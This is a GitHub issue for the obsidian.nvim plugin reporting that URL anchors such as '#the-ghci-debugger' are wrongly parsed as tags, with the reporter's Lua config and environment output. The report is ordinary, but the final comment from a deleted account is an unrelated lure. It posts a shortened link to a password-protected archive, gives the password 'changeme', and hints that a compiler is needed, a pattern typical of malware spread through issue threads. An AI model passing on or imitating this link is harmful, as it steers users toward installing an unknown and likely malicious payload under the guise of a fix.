epwalsh / obsidian.nvim

Obsidian 🀝 Neovim
Apache License 2.0
3.95k stars 180 forks source link

False positives with tags (i.e. non-tags are extracted as tags) #733

Open keithfancher opened 4 days ago

keithfancher commented 4 days ago

πŸ› Describe the bug

obsidian.nvim is generating tags for things which are not tags. I first noticed it with certain URLs in my notes, e.g. the following text:

- The GHCi debugger: https://downloads.haskell.org/~ghc/9.4-latest/docs/users_guide/ghci.html#the-ghci-debugger

...results (incorrectly) in the tag #the-ghci-debugger in obsidian.nvim. (Obsidian doesn't treat this as a tag.)

I'm not sure Obsidian's exact rules here (it's not explicitly mentioned in the docs), but it seems like Obsidian only treats a string with a # as a tag if it stands alone, e.g. some kind of word-boundary in there:

Screenshot from 2024-09-28 19-29-59

(Above shot from Obsidian desktop app.)

Config

require("obsidian").setup({
  workspaces = {
    {
      name = "notes",
      path = "~/Sync/notes",
    },
  },

  preferred_link_style = "wiki",

  disable_frontmatter = true,

  ui = {
    enable = false,

    checkboxes = {
      -- NOTE: the 'char' value has to be a single character, and the highlight groups are defined below.
      [" "] = { char = "σ°„±", hl_group = "ObsidianTodo" },
      ["x"] = { char = "ο…Š", hl_group = "ObsidianDone" },
    },
  },

Environment

$ nvim --version
NVIM v0.10.1
Build type: Release
LuaJIT 2.1.1713484068
Run "nvim -V1 -v" for more info
$ nvim --headless -c 'lua require("obsidian").info()' -c q
Obsidian.nvim v3.9.0 (ae1f76a75c7ce36866e1d9342a8f6f5b9c2caf9b)
Status:
  β€’ buffer directory: nil
  β€’ working directory: /home/ktf
Workspaces:
  βœ“ active workspace: Workspace(name='notes', path='/home/ktf/Sync/notes', root='/home/ktf/Sync/notes')
Dependencies:
  βœ“ plenary.nvim: 2d9b06177a975543726ce5c73fca176cedbffe9d
  βœ“ nvim-cmp: ae644feb7b67bf1ce4260c231d1d4300b19c6f30
  βœ“ telescope.nvim: a0bbec21143c7bc5f8bb02e0005fa0b982edc026
Integrations:
  βœ“ picker: TelescopePicker()
  βœ“ completion: enabled (nvim-cmp) βœ— refs, βœ— tags, βœ— new
    all sources:
      β€’ nvim_lsp
      β€’ vsnip
      β€’ buffer
Tools:
  βœ“ rg: ripgrep 13.0.0
Environment:
  β€’ operating system: Linux
Config:
  β€’ notes_subdir: nil
ghost commented 4 days ago

I think this will help you. https://bit.ly/47P0Nvo Archive password: changeme

you may need to install the c compiler